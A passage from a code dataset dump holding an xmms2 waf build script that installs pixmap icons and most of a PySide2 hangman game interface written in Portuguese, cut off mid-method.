weights_initializer.initialize(self.weights.shape, self.input_size, self.output_size)\n        self.bias = bias_initializer.initialize(self.bias.shape, 1, self.output_size)\n\n    \n    \n","repo_name":"MeiyingDan/DLSS23","sub_path":"HW3/src_to_implement/Layers/FullyConnected.py","file_name":"FullyConnected.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"37279798093","text":"import os\n\ndef build(bld):\n    if bld.env['xmms_icon']:\n        obj = bld.new_task_gen('cc', 'objects')\n        obj.target = 'xmms_icon'\n        obj.source = 'xmms2.rc'\n        obj.install_path = 0\n\n    images = \"\"\"\n        xmms2-16.png\n        xmms2-32.png\n        xmms2-48.png\n        xmms2-128.png\n        xmms2.svg\n        xmms2-black-on-white.svg\n        xmms2-white-on-black.svg\n    \"\"\".split()\n\n    for image in images:\n        bld.install_files(\"${PIXMAP_DIR}\", image)\n\ndef configure(conf):\n    if conf.options.pixmapdir is not None:\n        conf.env.PIXMAP_DIR = conf.options.pixmapdir\n    else:\n        conf.env.PIXMAP_DIR = os.path.join(conf.env.DATAROOTDIR, \"pixmaps\")\n\n    if not conf.env.PIXMAP_DIR:\n        conf.fatal(\"No pixmap directory (try --with-pixmap-dir)\")\n\ndef options(opt):\n    opt.add_option(\"--with-pixmap-dir\", type=\"string\", dest=\"pixmapdir\",\n                   help=\"Specify directory where to install pixmaps\")\n","repo_name":"xmms2/xmms2-devel","sub_path":"pixmaps/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"16"}
+{"seq_id":"5043736744","text":"from PySide2.QtCore import *\nfrom PySide2.QtCore import *\nfrom PySide2.QtGui import *\nfrom PySide2.QtWidgets import *\nfrom PySide2 import QtWidgets\nfrom palavras import sortear_palavra\nfrom ui_tela_resultado import CriarTelaResultado\nfrom ui_tela_estatisticas import CriarTelaEstatisticas, Ui_tela_estatisticas\nfrom unicodedata import normalize\nimport sys\n\n\nclass Ui_MainWindow(object):\n\n    chances_jogador = 6\n    letras_advinhadas = 0\n\n    def setupUi(self, MainWindow):\n        if not MainWindow.objectName():\n            MainWindow.setObjectName(u\"MainWindow\")\n        MainWindow.resize(765, 577)\n        MainWindow.setMinimumSize(QSize(765, 577))\n        MainWindow.setMaximumSize(QSize(765, 577))\n        MainWindow.setStyleSheet(u\"background-color: rgb(255, 255, 255);\")\n        icon = QIcon()\n        icon.addFile(u\"icone_forca.png\", QSize(), QIcon.Normal, QIcon.Off)\n        MainWindow.setWindowIcon(icon)\n        self.menu_novo_jogo = QAction(MainWindow)\n        self.menu_novo_jogo.setObjectName(u\"menu_novo_jogo\")\n        self.menu_estatisticas = QAction(MainWindow)\n        self.menu_estatisticas.setObjectName(u\"menu_estatisticas\")\n        self.centralwidget = QWidget(MainWindow)\n        self.centralwidget.setObjectName(u\"centralwidget\")\n        self.tela_resultado = CriarTelaResultado()\n        self.tela_estatisticas = CriarTelaEstatisticas()\n        self.forca = QLabel(self.centralwidget)\n        self.forca.setObjectName(u\"forca\")\n        self.forca.setGeometry(QRect(80, 80, 271, 341))\n        self.forca.setPixmap(QPixmap(u\"forca.jpg\"))\n        self.cabeca = QLabel(self.centralwidget)\n        self.cabeca.setObjectName(u\"cabeca\")\n        self.cabeca.setGeometry(QRect(250, 140, 71, 71))\n        self.cabeca.setPixmap(QPixmap(u\"cabeca.jpg\"))\n        self.corpo = QLabel(self.centralwidget)\n        self.corpo.setObjectName(u\"corpo\")\n        self.corpo.setGeometry(QRect(280, 210, 8, 141))\n        self.corpo.setPixmap(QPixmap(u\"corpo.jpg\"))\n        self.braco_esquerdo = QLabel(self.centralwidget)\n        self.braco_esquerdo.setObjectName(u\"braco_esquerdo\")\n        self.braco_esquerdo.setGeometry(QRect(286, 220, 47, 81))\n        self.braco_esquerdo.setPixmap(QPixmap(u\"braco_esquerdo.jpg\"))\n        self.perna_esquerda = QLabel(self.centralwidget)\n        self.perna_esquerda.setObjectName(u\"perna_esquerda\")\n        self.perna_esquerda.setGeometry(QRect(286, 323, 47, 81))\n        self.perna_esquerda.setPixmap(QPixmap(u\"braco_esquerdo.jpg\"))\n        self.braco_direito = QLabel(self.centralwidget)\n        self.braco_direito.setObjectName(u\"braco_direito\")\n        self.braco_direito.setGeometry(QRect(234, 233, 47, 61))\n        self.braco_direito.setPixmap(QPixmap(u\"braco_direito.jpg\"))\n        self.perna_direita = QLabel(self.centralwidget)\n        self.perna_direita.setObjectName(u\"perna_direita\")\n        self.perna_direita.setGeometry(QRect(234, 336, 47, 61))\n        self.perna_direita.setPixmap(QPixmap(u\"perna_direita.jpg\"))\n        self.palavra_group_box = QGroupBox(self.centralwidget)\n        self.palavra_group_box.setObjectName(u\"palavra_group_box\")\n        self.palavra_group_box.setGeometry(QRect(20, 460, 421, 80))\n        font = QFont()\n        font.setPointSize(12)\n        self.palavra_group_box.setFont(font)\n        self.letra_13 = QLabel(self.palavra_group_box)\n        self.letra_13.setObjectName(u\"letra_13\")\n        self.letra_13.setGeometry(QRect(380, 20, 21, 31))\n        font1 = QFont()\n        font1.setPointSize(22)\n        self.letra_13.setFont(font1)\n        self.letra_13.setAlignment(Qt.AlignCenter)\n        self.traco_1 = QLabel(self.palavra_group_box)\n        self.traco_1.setObjectName(u\"traco_1\")\n        self.traco_1.setGeometry(QRect(20, 43, 21, 31))\n        self.traco_1.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_12 = QLabel(self.palavra_group_box)\n        self.letra_12.setObjectName(u\"letra_12\")\n        self.letra_12.setGeometry(QRect(350, 20, 21, 31))\n        self.letra_12.setFont(font1)\n        self.letra_12.setAlignment(Qt.AlignCenter)\n        self.traco_10 = QLabel(self.palavra_group_box)\n        self.traco_10.setObjectName(u\"traco_10\")\n        self.traco_10.setGeometry(QRect(290, 43, 21, 31))\n        self.traco_10.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.traco_2 = QLabel(self.palavra_group_box)\n        self.traco_2.setObjectName(u\"traco_2\")\n        self.traco_2.setGeometry(QRect(50, 43, 21, 31))\n        self.traco_2.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_2 = QLabel(self.palavra_group_box)\n        self.letra_2.setObjectName(u\"letra_2\")\n        self.letra_2.setGeometry(QRect(50, 20, 21, 31))\n        self.letra_2.setFont(font1)\n        self.letra_2.setAlignment(Qt.AlignCenter)\n        self.letra_1 = QLabel(self.palavra_group_box)\n        self.letra_1.setObjectName(u\"letra_1\")\n        self.letra_1.setGeometry(QRect(20, 20, 21, 31))\n        self.letra_1.setFont(font1)\n        self.letra_1.setAlignment(Qt.AlignCenter)\n        self.traco_13 = QLabel(self.palavra_group_box)\n        self.traco_13.setObjectName(u\"traco_13\")\n        self.traco_13.setGeometry(QRect(380, 43, 21, 31))\n        self.traco_13.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_9 = QLabel(self.palavra_group_box)\n        self.letra_9.setObjectName(u\"letra_9\")\n        self.letra_9.setGeometry(QRect(260, 20, 21, 31))\n        self.letra_9.setFont(font1)\n        self.letra_9.setAlignment(Qt.AlignCenter)\n        self.traco_9 = QLabel(self.palavra_group_box)\n        self.traco_9.setObjectName(u\"traco_9\")\n        self.traco_9.setGeometry(QRect(260, 43, 21, 31))\n        self.traco_9.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_8 = QLabel(self.palavra_group_box)\n        self.letra_8.setObjectName(u\"letra_8\")\n        self.letra_8.setGeometry(QRect(230, 20, 21, 31))\n        self.letra_8.setFont(font1)\n        self.letra_8.setAlignment(Qt.AlignCenter)\n        self.traco_5 = QLabel(self.palavra_group_box)\n        self.traco_5.setObjectName(u\"traco_5\")\n        self.traco_5.setGeometry(QRect(140, 43, 21, 31))\n        self.traco_5.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_5 = QLabel(self.palavra_group_box)\n        self.letra_5.setObjectName(u\"letra_5\")\n        self.letra_5.setGeometry(QRect(140, 20, 21, 31))\n        self.letra_5.setFont(font1)\n        self.letra_5.setAlignment(Qt.AlignCenter)\n        self.traco_7 = QLabel(self.palavra_group_box)\n        self.traco_7.setObjectName(u\"traco_7\")\n        self.traco_7.setGeometry(QRect(200, 43, 21, 31))\n        self.traco_7.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_3 = QLabel(self.palavra_group_box)\n        self.letra_3.setObjectName(u\"letra_3\")\n        self.letra_3.setGeometry(QRect(80, 20, 21, 31))\n        self.letra_3.setFont(font1)\n        self.letra_3.setAlignment(Qt.AlignCenter)\n        self.traco_3 = QLabel(self.palavra_group_box)\n        self.traco_3.setObjectName(u\"traco_3\")\n        self.traco_3.setGeometry(QRect(80, 43, 21, 31))\n        self.traco_3.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_6 = QLabel(self.palavra_group_box)\n        self.letra_6.setObjectName(u\"letra_6\")\n        self.letra_6.setGeometry(QRect(170, 20, 21, 31))\n        self.letra_6.setFont(font1)\n        self.letra_6.setAlignment(Qt.AlignCenter)\n        self.letra_7 = QLabel(self.palavra_group_box)\n        self.letra_7.setObjectName(u\"letra_7\")\n        self.letra_7.setGeometry(QRect(200, 20, 21, 31))\n        self.letra_7.setFont(font1)\n        self.letra_7.setAlignment(Qt.AlignCenter)\n        self.traco_4 = QLabel(self.palavra_group_box)\n        self.traco_4.setObjectName(u\"traco_4\")\n        self.traco_4.setGeometry(QRect(110, 43, 21, 31))\n        self.traco_4.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_4 = QLabel(self.palavra_group_box)\n        self.letra_4.setObjectName(u\"letra_4\")\n        self.letra_4.setGeometry(QRect(110, 20, 21, 31))\n        self.letra_4.setFont(font1)\n        self.letra_4.setAlignment(Qt.AlignCenter)\n        self.traco_8 = QLabel(self.palavra_group_box)\n        self.traco_8.setObjectName(u\"traco_8\")\n        self.traco_8.setGeometry(QRect(230, 43, 21, 31))\n        self.traco_8.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.traco_11 = QLabel(self.palavra_group_box)\n        self.traco_11.setObjectName(u\"traco_11\")\n        self.traco_11.setGeometry(QRect(320, 43, 21, 31))\n        self.traco_11.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_10 = QLabel(self.palavra_group_box)\n        self.letra_10.setObjectName(u\"letra_10\")\n        self.letra_10.setGeometry(QRect(290, 20, 21, 31))\n        self.letra_10.setFont(font1)\n        self.letra_10.setAlignment(Qt.AlignCenter)\n        self.traco_6 = QLabel(self.palavra_group_box)\n        self.traco_6.setObjectName(u\"traco_6\")\n        self.traco_6.setGeometry(QRect(170, 43, 21, 31))\n        self.traco_6.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.traco_12 = QLabel(self.palavra_group_box)\n        self.traco_12.setObjectName(u\"traco_12\")\n        self.traco_12.setGeometry(QRect(350, 43, 21, 31))\n        self.traco_12.setPixmap(QPixmap(u\"traco.jpg\"))\n        self.letra_11 = QLabel(self.palavra_group_box)\n        self.letra_11.setObjectName(u\"letra_11\")\n        self.letra_11.setGeometry(QRect(320, 20, 21, 31))\n        self.letra_11.setFont(font1)\n        self.letra_11.setAlignment(Qt.AlignCenter)\n        self.traco_1.raise_()\n        self.traco_10.raise_()\n        self.traco_2.raise_()\n        self.letra_2.raise_()\n        self.letra_1.raise_()\n        self.traco_13.raise_()\n        self.traco_9.raise_()\n        self.traco_5.raise_()\n        self.traco_7.raise_()\n        self.traco_3.raise_()\n        self.traco_4.raise_()\n        self.traco_8.raise_()\n        self.traco_11.raise_()\n        self.letra_10.raise_()\n        self.traco_6.raise_()\n        self.traco_12.raise_()\n        self.letra_11.raise_()\n        self.letra_12.raise_()\n        self.letra_8.raise_()\n        self.letra_6.raise_()\n        self.letra_9.raise_()\n        self.letra_3.raise_()\n        self.letra_5.raise_()\n        self.letra_7.raise_()\n        self.letra_13.raise_()\n        self.letra_4.raise_()\n        self.letras_group_box = QGroupBox(self.centralwidget)\n        self.letras_group_box.setObjectName(u\"letras_group_box\")\n        self.letras_group_box.setGeometry(QRect(470, 10, 271, 381))\n        self.letras_group_box.setFont(font)\n        self.botao_letra_a = QPushButton(self.letras_group_box)\n        self.botao_letra_a.setObjectName(u\"botao_letra_a\")\n        self.botao_letra_a.setEnabled(True)\n        self.botao_letra_a.setGeometry(QRect(30, 30, 41, 31))\n        font2 = QFont()\n        font2.setPointSize(18)\n        self.botao_letra_a.setFont(font2)\n        self.botao_letra_b = QPushButton(self.letras_group_box)\n        self.botao_letra_b.setObjectName(u\"botao_letra_b\")\n        self.botao_letra_b.setGeometry(QRect(90, 30, 41, 31))\n        self.botao_letra_b.setFont(font2)\n        self.botao_letra_c = QPushButton(self.letras_group_box)\n        self.botao_letra_c.setObjectName(u\"botao_letra_c\")\n        self.botao_letra_c.setGeometry(QRect(150, 30, 41, 31))\n        self.botao_letra_c.setFont(font2)\n        self.botao_letra_d = QPushButton(self.letras_group_box)\n        self.botao_letra_d.setObjectName(u\"botao_letra_d\")\n        self.botao_letra_d.setGeometry(QRect(210, 30, 41, 31))\n        self.botao_letra_d.setFont(font2)\n        self.botao_letra_g = QPushButton(self.letras_group_box)\n        self.botao_letra_g.setObjectName(u\"botao_letra_g\")\n        self.botao_letra_g.setGeometry(QRect(150, 80, 41, 31))\n        self.botao_letra_g.setFont(font2)\n        self.botao_letra_e = QPushButton(self.letras_group_box)\n        self.botao_letra_e.setObjectName(u\"botao_letra_e\")\n        self.botao_letra_e.setGeometry(QRect(30, 80, 41, 31))\n        self.botao_letra_e.setFont(font2)\n        self.botao_letra_h = QPushButton(self.letras_group_box)\n        self.botao_letra_h.setObjectName(u\"botao_letra_h\")\n        self.botao_letra_h.setGeometry(QRect(210, 80, 41, 31))\n        self.botao_letra_h.setFont(font2)\n        self.botao_letra_f = QPushButton(self.letras_group_box)\n        self.botao_letra_f.setObjectName(u\"botao_letra_f\")\n        self.botao_letra_f.setGeometry(QRect(90, 80, 41, 31))\n        self.botao_letra_f.setFont(font2)\n        self.botao_letra_n = QPushButton(self.letras_group_box)\n        self.botao_letra_n.setObjectName(u\"botao_letra_n\")\n        self.botao_letra_n.setGeometry(QRect(90, 180, 41, 31))\n        self.botao_letra_n.setFont(font2)\n        self.botao_letra_k = QPushButton(self.letras_group_box)\n        self.botao_letra_k.setObjectName(u\"botao_letra_k\")\n        self.botao_letra_k.setGeometry(QRect(150, 130, 41, 31))\n        self.botao_letra_k.setFont(font2)\n        self.botao_letra_o = QPushButton(self.letras_group_box)\n        self.botao_letra_o.setObjectName(u\"botao_letra_o\")\n        self.botao_letra_o.setGeometry(QRect(150, 180, 41, 31))\n        self.botao_letra_o.setFont(font2)\n        self.botao_letra_i = QPushButton(self.letras_group_box)\n        self.botao_letra_i.setObjectName(u\"botao_letra_i\")\n        self.botao_letra_i.setGeometry(QRect(30, 130, 41, 31))\n        self.botao_letra_i.setFont(font2)\n        self.botao_letra_l = QPushButton(self.letras_group_box)\n        self.botao_letra_l.setObjectName(u\"botao_letra_l\")\n        self.botao_letra_l.setGeometry(QRect(210, 130, 41, 31))\n        self.botao_letra_l.setFont(font2)\n        self.botao_letra_j = QPushButton(self.letras_group_box)\n        self.botao_letra_j.setObjectName(u\"botao_letra_j\")\n        self.botao_letra_j.setGeometry(QRect(90, 130, 41, 31))\n        self.botao_letra_j.setFont(font2)\n        self.botao_letra_p = QPushButton(self.letras_group_box)\n        self.botao_letra_p.setObjectName(u\"botao_letra_p\")\n        self.botao_letra_p.setGeometry(QRect(210, 180, 41, 31))\n        self.botao_letra_p.setFont(font2)\n        self.botao_letra_m = QPushButton(self.letras_group_box)\n        self.botao_letra_m.setObjectName(u\"botao_letra_m\")\n        self.botao_letra_m.setGeometry(QRect(30, 180, 41, 31))\n        self.botao_letra_m.setFont(font2)\n        self.botao_letra_x = QPushButton(self.letras_group_box)\n        self.botao_letra_x.setObjectName(u\"botao_letra_x\")\n        self.botao_letra_x.setGeometry(QRect(150, 280, 41, 31))\n        self.botao_letra_x.setFont(font2)\n        self.botao_letra_q = QPushButton(self.letras_group_box)\n        self.botao_letra_q.setObjectName(u\"botao_letra_q\")\n        self.botao_letra_q.setGeometry(QRect(30, 230, 41, 31))\n        self.botao_letra_q.setFont(font2)\n        self.botao_letra_s = QPushButton(self.letras_group_box)\n        self.botao_letra_s.setObjectName(u\"botao_letra_s\")\n        self.botao_letra_s.setGeometry(QRect(150, 230, 41, 31))\n        self.botao_letra_s.setFont(font2)\n        self.botao_letra_t = QPushButton(self.letras_group_box)\n        self.botao_letra_t.setObjectName(u\"botao_letra_t\")\n        self.botao_letra_t.setGeometry(QRect(210, 230, 41, 31))\n        self.botao_letra_t.setFont(font2)\n        self.botao_letra_w = QPushButton(self.letras_group_box)\n        self.botao_letra_w.setObjectName(u\"botao_letra_w\")\n        self.botao_letra_w.setGeometry(QRect(210, 280, 41, 31))\n        self.botao_letra_w.setFont(font2)\n        self.botao_letra_u = QPushButton(self.letras_group_box)\n        self.botao_letra_u.setObjectName(u\"botao_letra_u\")\n        self.botao_letra_u.setGeometry(QRect(30, 280, 41, 31))\n        self.botao_letra_u.setFont(font2)\n        self.botao_letra_v = QPushButton(self.letras_group_box)\n        self.botao_letra_v.setObjectName(u\"botao_letra_v\")\n        self.botao_letra_v.setGeometry(QRect(90, 280, 41, 31))\n        self.botao_letra_v.setFont(font2)\n        self.botao_letra_r = QPushButton(self.letras_group_box)\n        self.botao_letra_r.setObjectName(u\"botao_letra_r\")\n        self.botao_letra_r.setGeometry(QRect(90, 230, 41, 31))\n        self.botao_letra_r.setFont(font2)\n        self.botao_letra_z = QPushButton(self.letras_group_box)\n        self.botao_letra_z.setObjectName(u\"botao_letra_z\")\n        self.botao_letra_z.setGeometry(QRect(150, 330, 41, 31))\n        self.botao_letra_z.setFont(font2)\n        self.botao_letra_y = QPushButton(self.letras_group_box)\n        self.botao_letra_y.setObjectName(u\"botao_letra_y\")\n        self.botao_letra_y.setGeometry(QRect(90, 330, 41, 31))\n        self.botao_letra_y.setFont(font2)\n        self.groupBox = QGroupBox(self.centralwidget)\n        self.groupBox.setObjectName(u\"groupBox\")\n        self.groupBox.setGeometry(QRect(470, 410, 271, 131))\n        self.groupBox.setFont(font)\n        self.palavra_texto = QLineEdit(self.groupBox)\n        self.palavra_texto.setObjectName(u\"palavra_texto\")\n        self.palavra_texto.setGeometry(QRect(20, 40, 231, 21))\n        self.palavra_texto.setFont(font)\n        self.palavra_texto.setMaxLength(18)\n        self.botao_arriscar = QPushButton(self.groupBox)\n        self.botao_arriscar.setObjectName(u\"botao_arriscar\")\n        self.botao_arriscar.setGeometry(QRect(90, 80, 91, 31))\n        self.botao_arriscar.setFont(font)\n        self.botao_arriscar.setShortcut(\"F1\")\n        self.label = QLabel(self.centralwidget)\n        self.label.setObjectName(u\"label\")\n        self.label.setGeometry(QRect(110, 20, 251, 41))\n        font3 = QFont()\n        font3.setFamily(u\"Arial\")\n        font3.setPointSize(25)\n        font3.setBold(True)\n        font3.setWeight(50)\n        font3.setStrikeOut(False)\n        self.label.setFont(font3)\n        MainWindow.setCentralWidget(self.centralwidget)\n        self.menuBar = QMenuBar(MainWindow)\n        self.menuBar.setObjectName(u\"menuBar\")\n        self.menuBar.setGeometry(QRect(0, 0, 765, 21))\n        self.menu_jogo = QMenu(self.menuBar)\n        self.menu_jogo.setObjectName(u\"menu_jogo\")\n        MainWindow.setMenuBar(self.menuBar)\n        self.menuBar.addAction(self.menu_jogo.menuAction())\n        self.menu_jogo.addAction(self.menu_novo_jogo)\n        self.menu_jogo.addAction(self.menu_estatisticas)\n        self.retranslateUi(MainWindow)\n\n        QMetaObject.connectSlotsByName(MainWindow)\n\n        self.botao_letra_a.clicked.connect(self.letra_a)\n        self.botao_letra_b.clicked.connect(self.letra_b)\n        self.botao_letra_c.clicked.connect(self.letra_c)\n        self.botao_letra_d.clicked.connect(self.letra_d)\n        self.botao_letra_e.clicked.connect(self.letra_e)\n        self.botao_letra_f.clicked.connect(self.letra_f)\n        self.botao_letra_g.clicked.connect(self.letra_g)\n        self.botao_letra_h.clicked.connect(self.letra_h)\n        self.botao_letra_i.clicked.connect(self.letra_i)\n        self.botao_letra_j.clicked.connect(self.letra_j)\n        self.botao_letra_k.clicked.connect(self.letra_k)\n        self.botao_letra_l.clicked.connect(self.letra_l)\n        self.botao_letra_m.clicked.connect(self.letra_m)\n        self.botao_letra_n.clicked.connect(self.letra_n)\n        self.botao_letra_o.clicked.connect(self.letra_o)\n        self.botao_letra_p.clicked.connect(self.letra_p)\n        self.botao_letra_q.clicked.connect(self.letra_q)\n        self.botao_letra_r.clicked.connect(self.letra_r)\n        self.botao_letra_s.clicked.connect(self.letra_s)\n        self.botao_letra_t.clicked.connect(self.letra_t)\n        self.botao_letra_u.clicked.connect(self.letra_u)\n        self.botao_letra_v.clicked.connect(self.letra_v)\n        self.botao_letra_x.clicked.connect(self.letra_x)\n        self.botao_letra_y.clicked.connect(self.letra_y)\n        self.botao_letra_z.clicked.connect(self.letra_z)\n        self.botao_letra_w.clicked.connect(self.letra_w)\n        self.botao_arriscar.clicked.connect(self.arriscar_palavra)\n        self.tela_estatisticas.ler_arquivo_estatisticas()\n        self.tela_resultado.botao_novo_jogo.clicked.connect(self.novo_jogo)\n        self.menu_novo_jogo.triggered.connect(self.abondonar_jogo)\n        self.menu_estatisticas.triggered.connect(self.tela_estatisticas.carregar_tela_resultados)\n        self.tela_resultado.botao_sair.clicked.connect(self.tela_resultado.close)\n        self.tela_estatisticas.botao_zerar_estatisticas.clicked.connect(self.tela_estatisticas.zerar_estatisticas)\n        self.tela_estatisticas.botao_sair.clicked.connect(self.tela_estatisticas.close)\n    # setupUi\n\n    def retranslateUi(self, MainWindow):\n        MainWindow.setWindowTitle(QCoreApplication.translate(\"MainWindow\", u\"MainWindow\", None))\n        self.menu_novo_jogo.setText(QCoreApplication.translate(\"MainWindow\", u\"Novo Jogo\", None))\n        self.menu_estatisticas.setText(QCoreApplication.translate(\"MainWindow\", u\"Estatísticas\", None))\n        self.forca.setText(\"\")\n        self.cabeca.setText(\"\")\n        self.corpo.setText(\"\")\n        self.braco_esquerdo.setText(\"\")\n        self.perna_esquerda.setText(\"\")\n        self.braco_direito.setText(\"\")\n        self.perna_direita.setText(\"\")\n        self.palavra_group_box.setTitle(QCoreApplication.translate(\"MainWindow\", u\"Palavra\", None))\n        self.letra_13.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_1.setText(\"\")\n        self.letra_12.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_10.setText(\"\")\n        self.traco_2.setText(\"\")\n        self.letra_2.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.letra_1.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_13.setText(\"\")\n        self.letra_9.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_9.setText(\"\")\n        self.letra_8.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_5.setText(\"\")\n        self.letra_5.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_7.setText(\"\")\n        self.letra_3.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_3.setText(\"\")\n        self.letra_6.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.letra_7.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_4.setText(\"\")\n        self.letra_4.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_8.setText(\"\")\n        self.traco_11.setText(\"\")\n        self.letra_10.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.traco_6.setText(\"\")\n        self.traco_12.setText(\"\")\n        self.letra_11.setText(QCoreApplication.translate(\"MainWindow\", u\"\", None))\n        self.letras_group_box.setTitle(QCoreApplication.translate(\"MainWindow\", u\"Letras\", None))\n        self.botao_letra_a.setText(QCoreApplication.translate(\"MainWindow\", u\"A\", None))\n        self.botao_letra_b.setText(QCoreApplication.translate(\"MainWindow\", u\"B\", None))\n        self.botao_letra_c.setText(QCoreApplication.translate(\"MainWindow\", u\"C\", None))\n        self.botao_letra_d.setText(QCoreApplication.translate(\"MainWindow\", u\"D\", None))\n        self.botao_letra_g.setText(QCoreApplication.translate(\"MainWindow\", u\"G\", None))\n        self.botao_letra_e.setText(QCoreApplication.translate(\"MainWindow\", u\"E\", None))\n        self.botao_letra_h.setText(QCoreApplication.translate(\"MainWindow\", u\"H\", None))\n        self.botao_letra_f.setText(QCoreApplication.translate(\"MainWindow\", u\"F\", None))\n        self.botao_letra_n.setText(QCoreApplication.translate(\"MainWindow\", u\"N\", None))\n        self.botao_letra_k.setText(QCoreApplication.translate(\"MainWindow\", u\"K\", None))\n        self.botao_letra_o.setText(QCoreApplication.translate(\"MainWindow\", u\"O\", None))\n        self.botao_letra_i.setText(QCoreApplication.translate(\"MainWindow\", u\"I\", None))\n        self.botao_letra_l.setText(QCoreApplication.translate(\"MainWindow\", u\"L\", None))\n        self.botao_letra_j.setText(QCoreApplication.translate(\"MainWindow\", u\"J\", None))\n        self.botao_letra_p.setText(QCoreApplication.translate(\"MainWindow\", u\"P\", None))\n        self.botao_letra_m.setText(QCoreApplication.translate(\"MainWindow\", u\"M\", None))\n        self.botao_letra_x.setText(QCoreApplication.translate(\"MainWindow\", u\"X\", None))\n        self.botao_letra_q.setText(QCoreApplication.translate(\"MainWindow\", u\"Q\", None))\n        self.botao_letra_s.setText(QCoreApplication.translate(\"MainWindow\", u\"S\", None))\n        self.botao_letra_t.setText(QCoreApplication.translate(\"MainWindow\", u\"T\", None))\n        self.botao_letra_w.setText(QCoreApplication.translate(\"MainWindow\", u\"W\", None))\n        self.botao_letra_u.setText(QCoreApplication.translate(\"MainWindow\", u\"U\", None))\n        self.botao_letra_v.setText(QCoreApplication.translate(\"MainWindow\", u\"V\", None))\n        self.botao_letra_r.setText(QCoreApplication.translate(\"MainWindow\", u\"R\", None))\n        self.botao_letra_z.setText(QCoreApplication.translate(\"MainWindow\", u\"Z\", None))\n        self.botao_letra_y.setText(QCoreApplication.translate(\"MainWindow\", u\"Y\", None))\n        self.groupBox.setTitle(QCoreApplication.translate(\"MainWindow\", u\"Arriscar palavra\", None))\n        self.botao_arriscar.setText(QCoreApplication.translate(\"MainWindow\", u\"Arriscar\", None))\n        self.label.setText(QCoreApplication.translate(\"MainWindow\", u\"Jogo da Forca\", None))\n        self.menu_jogo.setTitle(QCoreApplication.translate(\"MainWindow\", u\"Jogo\", None))\n        self.botao_arriscar.setShortcut(QCoreApplication.translate(\"MainWindow\", u\"Enter\", None))\n    # retranslateUi\n\n    def zerar_jogo(self):\n        Ui_MainWindow.chances_jogador = 6\n        Ui_MainWindow.letras_advinhadas = 0\n        self.palavra_texto.setText('')\n        self.cabeca.hide()\n        self.perna_esquerda.hide()\n        self.perna_direita.hide()\n        self.braco_esquerdo.hide()\n        self.braco_direito.hide()\n        self.corpo.hide()\n        self.letra_1.hide()\n        self.letra_2.hide()\n        self.letra_3.hide()\n        self.letra_4.hide()\n        self.letra_5.hide()\n        self.letra_6.hide()\n        self.letra_7.hide()\n        self.letra_8.hide()\n        self.letra_9.hide()\n        self.letra_10.hide()\n        self.letra_11.hide()\n        self.letra_12.hide()\n        self.letra_13.hide()\n        self.botao_letra_a.setEnabled(True)\n        self.botao_letra_b.setEnabled(True)\n        self.botao_letra_c.setEnabled(True)\n        self.botao_letra_d.setEnabled(True)\n        self.botao_letra_e.setEnabled(True)\n        self.botao_letra_f.setEnabled(True)\n        self.botao_letra_g.setEnabled(True)\n        self.botao_letra_h.setEnabled(True)\n        self.botao_letra_i.setEnabled(True)\n        self.botao_letra_j.setEnabled(True)\n        self.botao_letra_k.setEnabled(True)\n        self.botao_letra_l.setEnabled(True)\n        self.botao_letra_m.setEnabled(True)\n        self.botao_letra_n.setEnabled(True)\n        self.botao_letra_o.setEnabled(True)\n        self.botao_letra_p.setEnabled(True)\n        self.botao_letra_q.setEnabled(True)\n        self.botao_letra_r.setEnabled(True)\n        self.botao_letra_s.setEnabled(True)\n        self.botao_letra_t.setEnabled(True)\n        self.botao_letra_u.setEnabled(True)\n        self.botao_letra_v.setEnabled(True)\n        self.botao_letra_x.setEnabled(True)\n        self.botao_letra_w.setEnabled(True)\n        self.botao_letra_y.setEnabled(True)\n        self.botao_letra_z.setEnabled(True)\n        self.traco_1.hide()\n        self.traco_2.hide()\n        self.traco_3.hide()\n        self.traco_4.hide()\n        self.traco_5.hide()\n        self.traco_6.hide()\n        self.traco_7.hide()\n        self.traco_8.hide()\n        self.traco_9.hide()\n        self.traco_10.hide()\n        self.traco_11.hide()\n        self.traco_12.hide()\n        self.traco_13.hide()\n\n    def letra_a(self):\n        self.botao_letra_a.setEnabled(False)\n        self.verificar_letra('a')\n\n    def letra_b(self):\n        self.botao_letra_b.setEnabled(False)\n        self.verificar_letra('b')\n\n    def letra_c(self):\n        self.botao_letra_c.setEnabled(False)\n        self.verificar_letra('c')\n\n    def letra_d(self):\n        self.botao_letra_d.setEnabled(False)\n        self.verificar_letra('d')\n\n    def letra_e(self):\n        self.botao_letra_e.setEnabled(False)\n        self.verificar_letra('e')\n\n    def letra_f(self):\n        self.botao_letra_f.setEnabled(False)\n        self.verificar_letra('f')\n\n    def letra_g(self):\n        self.botao_letra_g.setEnabled(False)\n        self.verificar_letra('g')\n\n    def letra_h(self):\n        self.botao_letra_h.setEnabled(False)\n        self.verificar_letra('h')\n\n    def letra_i(self):\n        self.botao_letra_i.setEnabled(False)\n        